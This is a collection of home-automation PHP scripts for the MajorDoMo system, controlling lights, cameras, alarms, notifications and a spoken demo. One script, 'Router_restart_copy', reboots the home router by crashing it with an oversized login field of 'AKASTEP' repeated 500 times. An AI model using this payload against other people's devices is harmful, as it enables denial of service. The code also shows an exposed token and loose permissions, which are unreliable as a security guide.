Nobody
|
clearTimeout("nobody_Xm_timeout");
$shed=SQLSelectOne("SELECT RUNTIME FROM `jobs` where title='nobodyhome'")[RUNTIME];
echo $shed;
sg('NobodyHomeMode.ChangeShedulled',$shed);
$timestamp = strtotime($shed);
sg('NobodyHomeMode.ChangeTS',$timestamp);
/// $min=(gmdate('i',trim(time()-$timestamp)));
$min=round(($timestamp-time())/60);
sg('NobodyHomeMode.ChangeMin',$min);
setTimeOut("nobody_Xm_timeout", "runScript('Nobody');", 5*60);
|
Sun
|
Определение восхода и захода солнца
$sun_info = date_sun_info(time(), 55.011897, 36.462555); //географические координаты места
foreach ($sun_info as $key => $val) {
switch ($key):
case 'sunrise':
$sunrise = $val;
//echo 'Восход: '.date("H:i", $sunrise).'<br>';
sg('ThisComputer.SunRiseTime',date("H:i", $sunrise));
break;
case 'sunset':
$sunset = $val;
$day_length = $sunset - $sunrise;
//echo 'Заход: '.date("H:i", $sunset).'<br>';
//echo 'Долгота дня: '.gmdate("H:i", $day_length).'<br>';
sg('ThisComputer.SunSetTime',date("H:i", $sunset));
sg('ThisComputer.LongTagTime',gmdate("H:i", $day_length));
break;
case 'transit':
//echo 'В зените: '.date("H:i", $val).'<br>';
sg('ThisComputer.TransitTime',date("H:i", $val));
break;
case 'civil_twilight_begin':
//echo 'Начало утренних сумерек: '.date("H:i", $val).'<br>';
sg('ThisComputer.civil_beginTime',date("H:i", $val));
break;
case 'civil_twilight_end':
//echo 'Конец вечерних сумерек: '.date("H:i", $val).'<br>';
sg('ThisComputer.civil_endTime',date("H:i", $val));
break;
default:
//ни чего!
endswitch;
}
|
turn_OFF_All
|
Выключение света везде
/*
// выключить весь свет перебором в классе
$objects=getObjectsByClass("SButtons");
foreach($objects as $obj) {
sg($obj['TITLE'].".status",0);
//sleep(500);
}
say ("Всё выполнено.", 1);
*/
setTimeOut('Switch_5_1.status', "sg('Switch_5_1.status',0);", (int)('1'));
setTimeOut('Switch_5_2.status', "sg('Switch_5_2.status',0);", (int)('2'));
setTimeOut('Switch_15_1.status', "sg('Switch_15_1.status',0);", (int)('3'));
setTimeOut('Switch_25_1.status', "sg('Switch_25_1.status',0);", (int)('4'));
setTimeOut('Switch_25_2.status', "sg('Switch_25_2.status',0);", (int)('5'));
setTimeOut('Switch_35_1.status', "sg('Switch_35_1.status',0);", (int)('6'));
setTimeOut('Switch_35_2.status', "sg('Switch_35_2.status',0);", (int)('7'));
setTimeOut('Switch_45_0.status', "sg('Switch_45_0.status',0);", (int)('8'));
setTimeOut('Switch_45_1.status', "sg('Switch_45_1.status',0);", (int)('9'));
setTimeOut('Switch_45_2.status', "sg('Switch_45_2.status',0);", (int)('10'));
say ("Всё выполнено.", 1);
|
turn_ON_All
|
Включение света везде
/*
// включить весь свет перебором в классе
$objects=getObjectsByClass("SButtons");
foreach($objects as $obj) {
sg($obj['TITLE'].".status",1);
}
say ("Всё выполнено. Освещение везде включено.", 1);
*/
setTimeOut('Switch_5_1.status1', "sg('Switch_5_1.status',1);", (int)('1'));
setTimeOut('Switch_5_2.status1', "sg('Switch_5_2.status',1);", (int)('2'));
setTimeOut('Switch_15_1.status1', "sg('Switch_15_1.status',1);", (int)('3'));
setTimeOut('Switch_25_1.status1', "sg('Switch_25_1.status',1);", (int)('4'));
setTimeOut('Switch_25_2.status1', "sg('Switch_25_2.status',1);", (int)('5'));
setTimeOut('Switch_35_1.status1', "sg('Switch_35_1.status',1);", (int)('6'));
setTimeOut('Switch_35_2.status1', "sg('Switch_35_2.status',1);", (int)('7'));
setTimeOut('Switch_45_0.status1', "sg('Switch_45_0.status',1);", (int)('8'));
setTimeOut('Switch_45_1.status1', "sg('Switch_45_1.status',1);", (int)('9'));
setTimeOut('Switch_45_2.status1', "sg('Switch_45_2.status',1);", (int)('10'));
say ("Всё выполнено. Освещение везде включено.", 1);
|
camImagesProcess
|
Сортировка изображений с вебкамеры
$src='/var/www/media/webcam'; // откуда брать фотографии
clearTimeout('camImagesTimer');
$base_path='/var/www/dvr/unsorted';
$dst='/var/www/dvr/sorted';
safe_exec('chown pi:pi -Rf '.$base_path.'/*');
safe_exec('chmod 0777 -f '.$base_path.'/*');
setTimeout('camImagesTimer','runScript("camImagesProcess");',10*60);
if (is_dir($base_path)) {
if ($dir = @opendir($base_path)) {
while (($file = readdir($dir)) !== false) {
if ($file!='.' && $file!='..' && is_dir($base_path.'/'.$file)) {
$src=$base_path.'/'.$file;
echo $src.'<br/>';
processLine($src." -> ".$dst."/%Y/%m - %F/%d/".$file);
}
}
closedir($dir);
}
} else {
echo "Cannot open $base_path";
}
processLine("CLEAR ".$dst." 30 DAYS OLD");
|
AlarmWater
|
Сработка датчика протечки
$message = 'Тревога! Тревога! Протечка на кухне';
say($message,5);
RunScript("AutoRemoteMessage",$message);
//$message = iconv("utf-8", "windows-1251", $message);
$to = gg('admin.EMail');
$from = gg('ThisComputer.EMail');
$subject = "Событие от Алисы: ТРЕВОГА!!!";
$message = '
Тревога! Тревога! Протечка на кухне
';
$headers = "Content-type: text/plain; charset=utf-8 \r\n";
$headers .= "From: Что желаете <$from>\r\n";
mail($to, $subject, $message, $headers);
|
checkFreeSpace
|
Проверка свободного места на диске
$max_usage=90; //%
$output=array();
exec('df',$output);
//var_dump($output);
$problems=0;
$problems_details='';
foreach($output as $line) {
if (preg_match('/(\d+)% (\/.+)/',$line,$m))
$proc=$m[1];
$path=$m[2];
if ($proc>$max_usage) {
$problems++;
$problems_details.="$path: $proc; ";
}
//echo "$path: $proc%<br/>";
}
sg("ThisComputer.SpaceProblems",$problems);
sg("ThisComputer.SpaceProblems_Details",$problems_details);
setTimeOut('checkFreeSpace','runScript("checkFreeSpace");',5*60);
|
filesClearOld
|
Check old files
keepLatestLimitedBySize('/htdocs/Video/Telefon/2019',200*1024*1024); //500Mb
keepLatestLimitedBySize('/htdocs/Video/WebCam/2019',200*1024*1024); //500Mb
//keepLatestLimitedBySize('/var/www/backup',500*1024*1024); //500Mb
//keepLatestLimitedBySize('/var/www/cached',50*1024*1024); //50Mb
|
iiiBot
|
define('BOT_TOKEN', '8a5526de-f601-4f35-ba33-70ce385fffcb'); //Идентификатор бота с iii.ru
class Bot {
protected $key = null;
protected $session = null;
private $salt = 'some very-very long string without any non-latin characters due to different string representations inside of variable programming languages';
/**
* @param $key - Ключ из урла после создания инфа
*/
public function __construct($key) {
$this->key = $key;
}
/**
* @param null $session - Идентификатор сессии существуюющей, если нет то создается новая
* @return string Идентификатор текущей сессии
*/
public function session($session = null) {
if ($session === null) {
$response = file_get_contents('http://iii.ru/api/2.0/json/Chat.init/' . $this->key . '/');
$this->session = $this->decode($response)->result->cuid;
} else {
$this->session = $session;
}
return $this->session;
}
/**
* ОТправить сообщение боту
* @param string $message Сообщение
* @return string Ответ
*/
public function say($message) {
$request = '["' . $this->session . '","' . $message . '"]';
$myCurl = curl_init();
curl_setopt_array($myCurl, array(
CURLOPT_URL => 'http://iii.ru/api/2.0/json/Chat.request',
CURLOPT_RETURNTRANSFER => true,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $this->encode($request)
));
$response = curl_exec($myCurl);
curl_close($myCurl);
return $this->decode($response)->result->text->tts;
}
/**
* Кодирование сообщения
* @param $message
* @return string
*/
private function encode($message) {
$message = base64_encode($message);
$ml = strlen($message);
$kl = strlen($this->salt);
$encoded = "";
for ($i = 0; $i < $ml; $i++) {
$encoded = $encoded . ($message[$i] ^ $this->salt[$i % $kl]);
}
return base64_encode($encoded);
}
/**
* Декодирование сообщения
* @param $message
* @return mixed|null
*/
private function decode($message) {
$msg = base64_decode($message);
$ml = strlen($msg);
$kl = strlen($this->salt);
$decoded = "";
for ($i = 0; $i < $ml; $i++) {
$decoded.= ($msg[$i] ^ $this->salt[$i % $kl]);
}
return json_decode(base64_decode($decoded));
}
}
if ($params['message']) {
$sessionId = gg('ThisComputer.iiiBotSessionId');
$message = $params['message'];
$bot = new Bot(BOT_TOKEN);
if ($sessionId == '') {
$session = $bot->session();
sg('ThisComputer.iiiBotSessionId', $session);
} else {
$session = $bot->session($sessionId);
}
$response = $bot->say($message);
if (gg("ThisComputer.iiiBotVoice") == 0) { say($response); }
else if (gg("ThisComputer.iiiBotVoice") == !0) { say($response, 1); }
}
|
iiiBot_test
|
$message='Почему ты грубишь?';
runScript('iiiBot', array('message'=>$message));
|
manageConnectService
|
Включение/выключение сервиса синхронизации через облако
include_once(DIR_MODULES.'connect/connect.class.php');
$cn=new connect();
$cn->getConfig();
if ($params['start']) {
$cn->config['CONNECT_SYNC']='1';
$cn->saveConfig();
}
if ($params['stop']) {
$cn->config['CONNECT_SYNC']='0';
$cn->saveConfig();
}
echo $cn->config['CONNECT_SYNC'];
|
manageWebCamMotion
|
Включение/выключение детектора движений на камере
if ($params['start']) {
DebMes("Starting web-cam motion detection");
getURL('http://localhost:8080/0/detection/start',0);
}
if ($params['stop']) {
DebMes("Stopping web-cam motion detection");
getURL('http://localhost:8080/0/detection/pause',0);
}
|
manageWebCamService
|
Включение/выключение вебкамеры
if ($params['start']) {
safe_exec('cp /etc/motion/motion_enabled /etc/default/motion');
safe_exec('service motion start');
}
if ($params['stop']) {
safe_exec('cp /etc/motion/motion_disabled /etc/default/motion');
safe_exec('service motion stop');
}
|
readWeatherToday
|
$weather.="Сегодня ожидается ".str_replace('°',' ',getGlobal('weatherToday'));
$weather.=". Завтра ".str_replace('°',' ',getGlobal('weatherTomorrow'));
$weather.=". Сейчас на улице ".getGlobal('TempOutside').'.';
$weather=str_replace('°','',$weather);
say($weather,2);
|
rebootSystem
|
Перезапуск системы
$filename = ROOT . '/database_backup/db.sql';
$mysqlDumpPath = "/usr/bin/mysqldump";
$mysqlDumpParam = " --user=" . DB_USER . " --password=" . DB_PASSWORD;
$mysqlDumpParam .= " --no-create-db --add-drop-table --databases " . DB_NAME;
if (file_exists($filename)) rename($filename, $filename . '.prev');
exec($mysqlDumpPath . $mysqlDumpParam . " > " . $filename);
say("Подготовка к перезагрузке",2);
setTimeout("shutdownTimer","safe_exec('shutdown -r now');",15);
|
reportStatus
|
$res='';
if (gg('Security.stateColor')=='green' && gg('System.stateColor')=='green' && gg('Communication.stateColor')=='green') {
$res='Все системы работают в штатном режиме';
} else {
if (gg('Security.stateColor')!='green') {
$res.=" Проблема безопасности: ".getGlobal('Security.stateDetails');
}
if (gg('System.stateColor')!='green') {
$res.=" Системная проблема: ".getGlobal('System.stateDetails');
}
if (gg('Communication.stateColor')!='green') {
$res.=" Проблема связи: ".getGlobal('Communication.stateDetails');
}
}
say($res,5);
|
restartMJD
|
Перезапуск циклов
//echo shell_exec( 'sudo /var/www/restart.sh' );
//say ("Произошло падение системы, произвожу рестарт циклов!", 2);
safe_exec('sudo restart majordomo');
|
Round_Temp
|
Округление температуры
for ($i=0; $i<10; $i++) {
sg(("ow_day".$i.".temp_day"),round(gg("ow_day".$i.".temp_day")));
sg(("ow_day".$i.".temp_max"),round(gg("ow_day".$i.".temp_max")));
sg(("ow_day".$i.".temp_min"),round(gg("ow_day".$i.".temp_min")));
sg(("ow_day".$i.".temp_night"),round(gg("ow_day".$i.".temp_night")));
sg(("ow_day".$i.".pressure_mmhg"),round(gg("ow_day".$i.".pressure_mmhg")));
sg(("ow_day".$i.".humidity"),round(gg("ow_day".$i.".humidity")));
sg(("ow_day".$i.".wind_speed"),round(gg("ow_day".$i.".wind_speed")));
sg(("ow_day".$i.".wind_direction"),round(gg("ow_day".$i.".wind_direction")));
}
sg(("ow_fact.wind_speed"),round(gg("ow_fact.wind_speed")));
sg(("ow_fact.temperature"),round(gg("ow_fact.temperature")));
sg(("ow_fact.humidity"),round(gg("ow_fact.humidity")));
sg(("ow_fact.pressure_mmhg"),round(gg("ow_fact.pressure_mmhg")));
|
Router_DHCP_copy
|
Подключение к роутеру для получения DHCP клиентов
$url = "http://192.168.1.1/login.cgi";
$user = gg('Router.Login'); // логин
$pass = gg('Router.Pass'); // пароль
$post='username='.$user.'&password='.$pass.'&submit.htm%3Flogin.htm=Send';
// STEP 1 -- LOGIN
$ch = curl_init(); //инициализация сеанса
curl_setopt($ch, CURLOPT_URL, $url); //урл сайта к которому обращаемся
curl_setopt($ch, CURLOPT_HEADER, 1); //выводим заголовки
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); //теперь curl вернет нам ответ, а не выведет
curl_setopt($ch, CURLOPT_POST, true); //передача данных методом POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //тут переменные которые будут переданы методом POST
$result = curl_exec($ch); // Выполняем запрос и получаем HTML в качестве результата
if ($result === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
// Получаем ID сессии
preg_match('/SessionID=/', $result, $matches);
if (!empty($matches[0]))
{
$cookie = strstr($result, 'SessionID=');
$cookie = strstr($cookie, ';', true);
$cookie = ltrim($cookie, 'SessionID=');
}
//print_r($cookie);
//print_r($result);
// Закрываем соединение
curl_close($ch);
// STEP 2 -- GET DHCP
$url = "http://192.168.1.1/dhcptbl.htm";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: SessionID='.$cookie));
$output = curl_exec($ch);
if ($output === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
//print_r($output);
sg('Router.URL',$output);
curl_close($ch);
|
Router_IP_copy
|
Подключение к роутеру для получения IP
$url = "http://192.168.1.1/login.cgi";
$user = gg('Router.login'); // логин
$pass = gg('Router.password'); // пароль
$post='username='.$user.'&password='.$pass.'&submit.htm%3Flogin.htm=Send';
// STEP 1 -- LOGIN
$ch = curl_init(); //инициализация сеанса
curl_setopt($ch, CURLOPT_URL, $url); //урл сайта к которому обращаемся
curl_setopt($ch, CURLOPT_HEADER, 1); //выводим заголовки
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true); //теперь curl вернет нам ответ, а не выведет
curl_setopt($ch, CURLOPT_POST, true); //передача данных методом POST
curl_setopt($ch, CURLOPT_POSTFIELDS, $post); //тут переменные которые будут переданы методом POST
$result = curl_exec($ch); // Выполняем запрос и получаем HTML в качестве результата
if ($result === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
// Получаем ID сессии
preg_match('/SessionID=/', $result, $matches);
if (!empty($matches[0]))
{
$cookie = strstr($result, 'SessionID=');
$cookie = strstr($cookie, ';', true);
$cookie = ltrim($cookie, 'SessionID=');
}
//print_r($cookie);
print_r($result);
// Закрываем соединение
curl_close($ch);
/*
// STEP 2 -- GET DATA
$url = "http://192.168.1.1/status.htm";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
'Cookie: SessionID='.$cookie));
$output = curl_exec($ch);
if ($output === FALSE) {
echo "cURL Error: " . curl_error($ch);
return;
}
//print_r($output);
curl_close($ch);
$ip = strstr($output, 'PPPoE');
//$ip = strstr($ip, 'Up', true);
//$ip = explode(' >', $ip);
//$ip = rtrim($ip[1], "</TD>
//<TD");
print_r($ip);
//sg('Router.IP', $ip);
//rs("sendTelegram",array("user"=>'Admin',"msg"=>$ip));
*/
|
Router_restart_copy
|
Перезагрузка методом атаки
//say('Внимание! Маршрутизатор перезагружается!');
$t = 'login.cgi';
$ip = 'http://192.168.1.1/';
$user = gg('Router.Login'); // логин
$pass = gg('Router.Pass'); // пароль
$page=$ip . $t;
$payload=str_repeat('AKASTEP',500);
$post='username='.$user.$payload.'&password='.$pass.'&submit.htm%3Flogin.htm=Send';
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$page);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch,CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 12);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_exec($ch);
curl_close($ch);
exit;
|
Run_app
|
Запуск приложений
//system("/opt/tamviewer/tv_bin/script/teamviewer");
///opt/teamviewer/tv_bin/script/teamviewer
$exclusive = 0;
$priority = 0;
$filename = "/var/www/cached/voice/4f1717fba20b8812abde2fdc61016336_yandex.mp3";
//$e = "gedit -s";
//shell_exec("$e",0,0);
safe_exec('mplayer ' . $filename . " >/dev/null 2>&1", $exclusive, $priority);
|
sayHook
|
/* Хук на функцию say() */
$level=$params['level'];
$ph=$params['ph'];
$atr=''; // параметры
switch ($level) {
case -1: // ничего не делать. Сообщение будет написано только в чате
return;
break;
case 0: // общие не тревожные сообщения ночью переадресуются на указанный канал с пониженной громкостью
if (gg('NightMode.status')){ $atr='-outputchannel:0 -volumemessage:40 ';}
break;
case strlen($level)==1:
// одна цифра это номер канала
$atr='-outputchannel:'.$level.' ';
break;
default:
// ($level>=20) будет рассмотрен в модуле пуш сообщений. цифры 0-9 зарезервированы для групп
// громкость на максимум для тревожных сообщений. цифры 0-9 могут быть использованы для включения крикуна на время в секундах
if ($level>=30) { $atr='-volumemessage:100 '; }
// отправка СМС сообщений можно сделать тут, пока нет отдельного модуля, следящего за уровнем $level
// вторую цифру $level можно использовать для указания группы телефонных номеров
if ($level>=40) { $atr.='-volumemaster:100 '; /* общую громкость тоже на максимум */ }
}
// ******* Отправка задания принимающей программе *******
// *** Вариант передачи данных через командную строку
// Помните, что первый экземпляр sdm, который станет сервером приема сообщений, вы должны запустить сами!
//safe_exec(gg('SoundProgram').' '.$atr.$ph);
// *** Вариант передачи данных через TCP порт
// Ждать ответа от sdm не больше 1 секунды
$ctx = stream_context_create(array('http'=>array('timeout'=>1) ) );
// Отправка принимающей программе
$ans = trim(file_get_contents('http://'.gg('SoundServer').'/'.$atr.urlencode($ph), 0, $ctx));
// Зарегистрировать ошибку, если ответ не получен
if ($ans!="ok") { registerError('sdm', 'No confirmation from the program'); }
|
shutDown
|
Выключение системы
$filename = ROOT . '/database_backup/db.sql';
$mysqlDumpPath = "/usr/bin/mysqldump";
$mysqlDumpParam = " --user=" . DB_USER . " --password=" . DB_PASSWORD;
$mysqlDumpParam .= " --no-create-db --add-drop-table --databases " . DB_NAME;
if (file_exists($filename)) rename($filename, $filename . '.prev');
exec($mysqlDumpPath . $mysqlDumpParam . " > " . $filename);
say("Подготовка к выключению",2);
setTimeout("shutdownTimer","safe_exec('shutdown -h now');",15);
|
TelegramMessage
|
Уведомление в телеграмм
if (is_array($params)) {
include_once(DIR_MODULES . 'telegram/telegram.class.php');
$telegram = new telegram();
if ($params['message'] != '') {
if (preg_match('/\.(?:jp(?:e?g|e|2)|gif|png|tiff?|bmp|ico)$/i', $params['message'])) { //Если это картинка
if (isset($params['id']) && $params['id'] !='') {
if ($params['id'] !='admin' && $params['id'] !='Admin') {
$telegram->sendImageToUser($params['id'], $params['message']);
} else {
$telegram->sendImageToAdmin($params['message']);
}
} else {
$telegram->sendImageToAll($params['message']);
}
} else { //Если в сообщении строка
if (isset($params['id']) && $params['id'] !='') {
if ($params['id'] !='admin' && $params['id'] !='Admin') {
$telegram->sendMessageToUser($params['id'], $params['message']);
} else {
$telegram->sendMessageToAdmin($params['message']);
}
} else {
$telegram->sendMessageToAll($params['message']);
}
}
} elseif ($params['sticker'] != '') { //Если это стикер
if (isset($params['id']) && $params['id'] !='') {
if ($params['id'] !='admin' && $params['id'] !='Admin') {
$telegram->sendStickerToUser($params['id'], $params['sticker']);
} else {
$telegram->sendStickerToAdmin($params['sticker']);
}
} else {
$telegram->sendStickerToAll($params['sticker']);
}
} elseif ($params['loc'] != '') { //Если это локация
$loc = explode(',', $params['loc']);
if (isset($params['id']) && $params['id'] !='') {
if ($params['id'] !='admin' && $params['id'] !='Admin') {
$telegram->sendLocationToUser($params['id'], $loc[0], $loc[1]);
} else {
$telegram->sendLocationToAdmin($loc[0], $loc[1]);
}
} else {
$telegram->sendLocationToAll($loc[0], $loc[1]);
}
}
}
|
tellIPAddress
|
произнести текущий IP-адрес
runScript('updateCPUId');
$res=exec('hostname -I');
$ipv6_regex='/(\w{4})/is';
$res = trim(preg_replace($ipv6_regex,'',$res));
$ipv6_regex='/:(\w+)/is';
$res = trim(preg_replace($ipv6_regex,'',$res));
$res = trim(str_replace(':','',$res));
//say("Ай-пи адрес ".$res,2);
|
test
|
$contents = file_get_contents("https://downloads.openwrt.org/snapshots/targets/ramips/mt7620/");
preg_match_all('/href="([^"]+)"/', $contents, $links);
foreach( $links[1] as $key => $link ) echo $link."<br/>";
|
TestUsers
|
Проверяет пользователи онлайн, пингами
$users="";
$objects=getObjectsByClass("Users");
foreach($objects as $obj) {
$host=getGlobal($obj['TITLE'].".deviceip");
$mac=getGlobal($obj['TITLE'].".deviceMacAddr");
$fullname=getGlobal($obj['TITLE'].".fullName");
if ($host != ''){
$rec = SQLSelectOne("SELECT * FROM pinghosts WHERE HOSTNAME LIKE '".DBSafe($host)."' OR TITLE LIKE '".DBSafe($host)."'");
$hostname = $rec['HOSTNAME'];
$online = false;
$online = ping($hostname);
if (!$online) {
if($mac != '') {
$online = onlineLog($mac);
} else {
$online = onlineLog($hostname);
}
}
if ($online) {
if ($users != "") {
$users .= ", ";
}
$users .= $fullname;
setGlobal($obj['TITLE'] . ".isHome", 1);
} else {
//say('Оффлайн');
setGlobal($obj['TITLE'] . ".isHome", 0);
}
}
}
if (!$params['SAY']) {
if ($users != "") {
say($users);
DebMes('Users:' . $users);
}
}
function onlineLog($addr) {
//$debugInfo = '<html><b>start</b><br>';
//var_dump($debugInfo);
$logString = shell_exec("sudo /usr/src/routerlog.sh");
if (isset($logString)) {
$online = false;
$ArrLogString = explode("\n", $logString);
//var_dump(count($ArrLogString));
for ($i = 0; $i < count($ArrLogString); $i++) {
$tempStr = explode('router.asus.com', $ArrLogString[$i]);
$time = time() - strtotime($tempStr[0]);
//$debugInfo .= $tempStr[0].'<br>';
$min = $time / 60;
//$debugInfo .= $min.'<br>';
//var_dump($min);
if ($min <= 30) {
//$debugInfo .= $tempStr[1].'<br>';
if (substr_count($tempStr[1], $addr) > 0) {
//var_dump(substr_count($tempStr[1], $addr));
$online = true;
//var_dump($online);
}
}
}
} else {
$online = false;
}
if ($online) {
//$debugInfo .= 'true<br></html>';
} else {
//$debugInfo .= 'false<br><b>end</b></html>';
}
//file_put_contents('/media/d5c56356-c68d-4a48-8976-203b9de5448e/smarthome/debuginfo.html', $debugInfo);
return $online;
}
|
Test_Telegram
|
Отправка тестового сообщения в Телеграм
runScript("sendTelegram",array("user"=>'Admin',"msg"=>'test '.date("d-m-Y H:i:s")));
|
timeNow
|
|
turnOffEverything
|
Выключить все приборы
$objects=array('Switch1','Switch2','Switch3','XiRelay04','Relay05','Button01');
foreach($objects as $o) {
callMethod($o.'.turnoff');
}
|
updateCPUId
|
$data=trim(exec("cat /proc/cpuinfo | grep Serial | cut -d ':' -f 2"));
$data=ltrim($data,'0');
echo $data;
if ($data) {
setGlobal("ThisComputer.Serial",$data);
}
|
WOL
|
отправка "магического" пакета Wake-On-LAN (включение PC)
magicPacket('E0:69:95:D9:FC:3B');
function magicPacket($mac,$addr='255.255.255.255',$socket_number=7) {
//split up the mac address based upon the colons in the string
$addr_byte = explode(':', $mac);
$hw_addr = '';
for ($a=0; $a <6; $a++)
$hw_addr .=chr(hexdec($addr_byte[$a])); //convert the hex to its decimal equivalent, encode as a character, and repeat 16 times
$msg = str_repeat(chr(255),6); //FF in decimal is 255, which is then encoded as a char as with our mac address
for ($a = 1; $a <= 16; $a++)
$msg .= $hw_addr;
$s = socket_create(AF_INET, SOCK_DGRAM, SOL_UDP); //create our socket
if ($s == false) {
echo "Error creating socket!\n";
echo "Error code is '".socket_last_error($s)."'- " . socket_strerror(socket_last_error($s));
return false;
}
else {
// setting a broadcast option to socket:
//$opt_ret = socket_set_option($s, 1, 6, TRUE);
$opt_ret = socket_set_option($s,SOL_SOCKET,SO_BROADCAST,true);
if($opt_ret <0) {
echo "setsockopt() failed, error: " . strerror($opt_ret) ."\n";
return false;
}
if(socket_sendto($s, $msg, strlen($msg), 0, $addr,$socket_number)) {
socket_close($s);
return true;
}
else {
return false;
}
}
}
|
wolan
|
|
WOL_copy
|
//magicPacket('E0:69:95:D9:FC:3B');
//$ip_addy = "192.168.1.4";
$ip_or_host = "192.168.1.4";
$mac_addres = "E0:69:95:D9:FC:3B";
$port = '7';
$package = chr(255).chr(255).chr(255).chr(255).chr(255).chr(255);
$parts_mac = explode(':', $mac_addres);
for ($i=0; $i < 6; $i++) $transform_mac .= chr(hexdec($parts_mac[$i]));
for($i = 1; $i <= 16; $i++) $package .= $transform_mac;
$wol = fsockopen("udp://$ip_or_host", $port);
for($i = 0; $i < 5; $i++) fwrite($wol, $package);
fclose($wol);
|
Музыка
|
// Для доступа к функциям модуля
include_once(DIR_MODULES.'sdm/sdm.class.php');
$dm=new sdm();
// ВНИМАНИЕ медиа Файлы должны находится на той же машине, где установлен SDM.
// Если есть необходимость использовать сетевое хранилище, просто подключите его как сетевой диск.
$dir='/Music';
// параметр -music:play указывает, что эта задача воспроизведения фоновой музыки,
$message='-music:play '.$dir.'/'.randFileName($dir);
$level=0;
$destination='Server';
// При успехе в ответ получим streamHandle
$sh = $dm->setTask($message, $level, $destination);
echo $sh;
/*
* Возвращает случайное имя файла из переданноой директории
*/
function randFileName($dir) {
$dir = iconv("UTF-8", "cp1251", $dir);
$name = scandir($dir);
// print_r($name);
$f = $name[rand(2, count($name)-1)];
$f = iconv("cp1251", "UTF-8", $f);
return $f;
}
|
Demo01
|
Здравствуйте, меня зовут Алиса. Я представляю систему умного дома Мажордомо и сейчас расскажу о том, что я знаю и умею.
say('Здравствуйте, меня зовут Алиса.');
say('Я представляю систему умного дома Мажордомо.');
say('И сейчас расскажу о том, что я знаю и умею.');
sleep(1);
setTimeOut('DemoTimer',"runScript('Demo02')",1);
|
Demo02
|
Во-первых, я в курсе того, какая температура и влажность в разных комнатах. Например, сейчас в Зале ХХ градусов цельсия -- это оптимальная температура. Влажность воздуха ХХ процентов. Если дома будет сухо, то я включу увлажнитель воздуха. Так же я знаю, что на улице сегодня ХХ дождь,снег, а завтра будет ХХ ясно. Я обязательно предупрежу об этом утром.
say('Во-первых, я в курсе того, какая температура и влажность в разных комнатах.');
$t=gg('Livingroom.Temperature');
say('Посмотрите на график в Зале.');
runScript('runCommandHP',array('cmd'=>'explorer "http://192.168.0.17/jpgraph/?p=sensorZal.temp&type=24h&width=1500&height=500"'));
say('Например, сейчас в Зале '.$t.' градусов цельсия -- это оптимальная температура');
$h=gg('sensorHumidityRemote3.humidity');
say('Humidity is '.$h.' %.');
say('When the air is dry I turn on the humidifier.');
$t=gg('ws.tempOutside');
$forecast=gg('WeatherTomorrow');
$forecast=str_replace('°','',$forecast);
$forecast=str_replace('...',' ',$forecast);
runScript('runCommandHP',array('cmd'=>'explorer http://pogoda.by/'));
say('Also I do know that temperature outside is '.$t.' degrees.');
say('Forecast for tomorrow is '.$forecast.' degrees.');
say('Have a look at the detailed forecast on the screen.');
say('I will remind about it in the morning.');
sleep(2);
setTimeOut('DemoTimer',"rs('Demo03')",1);
|
Demo03
|
В мои обязанности входит наблюдение за тем, где находятся мои хозяева. Я знаю, что Сергей сейчас …, а Алеся … Уровень заряда телефона Сергея ХХ процентов, а телефона Алеси ХХ процентов. Если телефон будет разряжен, то я об этом предупрежу. Так же я знаю, когда дома никого нет и когда кто-то приходит домой, чтобы рационально управлять домашними системами.
rs('DemoSay','One of my duties is locaiton tracking of family members.');
rs('DemoSay','I can show you where they have been for past 24 hours.');
runScript('runCommandHP',array('cmd'=>'explorer http://192.168.0.17/popup/app_gpstrack.html'));
$sergei_location=gg('Serge.seenAt');
$sergei_steps=gg('Serge.moves_walk_distance');
$sergei_level=gg('Serge.BattLevel');
$alesya_location=gg('Alesya.seenAt');
$alesya_level=gg('Alesya.BattLevel');
$alesya_steps=gg('Alesya.moves_walk_distance');
$sergei_location='home';
if ($sergei_location!='') {
rs('DemoSay','I do know that Sergei is in the place called '.$sergei_location);
}
/*
if ($sergei_location==$alesya_location) {
rs('DemoSay','Alice is in the same place');
} elseif ($alesya_location!='') {
rs('DemoSay','Alice is in the place called '.$alesya_location);
}
*/
//rs('DemoSay','Сергей прошёл вчера пешком '.$sergei_steps.' километров.');
rs('DemoSay','Battery level of his smartphone is at '.$sergei_level.' %.');
rs('DemoSay','I will notify when the phone\'s batter level will be running out.');
rs('DemoSay','Also I do know when nobody\'s home so I can set some appliences in a green mode.');
sleep(2);
setTimeOut('DemoTimer',"rs('Demo04')",1);
|
Demo04
|
Кстати, об управлении. Я могу управлять различными приборами или, например, светом. Вот смотрите, я сейчас немного поиграю с освещением. (переключает свет cветильников, меняет освещение) У меня записано несколько световых сцен под различные обстоятельства. Ещё по утрам я поднимаю шторы и закрываю их вечером, посмотрите как это происходит (в спальне поднимаются/опускаются шторы). Ко мне можно обратиться и через Интернет, так что вы можете меня попросить открыть ворота, даже если никого нет дома и с помощью системы видео-наблюдения контролировать, что происходит. (открывает ворота, выводит на компьютер картинку с камеры)
rs('DemoSay','Talking about control...');
rs('DemoSay','I can control different appliences and lights.');
rs('DemoSay','This is how I can play with lights.');
sleep(4);
cm('lcw1.switch');
sleep(1);
cm('lcw7.switch');
sleep(1);
cm('lcw8.switch');
sleep(1);
cm('lcw1.switch');
sleep(1);
cm('lcw2.switch');
sleep(1);
cm('lcw3.switch');
sleep(1);
cm('lcw4.switch');
callMethod("MiLamp2.setRandomColor");
rs('DemoSay','I have several scenarios for the lights and can run them autmatically.');
rs('DemoSay','Also I can close down the curtains in the evening and open them up in the morning.');
rs('DemoSay','This is how I do it.');
sleep(2);
callMethod('BedroomCurtains.open');
sleep(10);
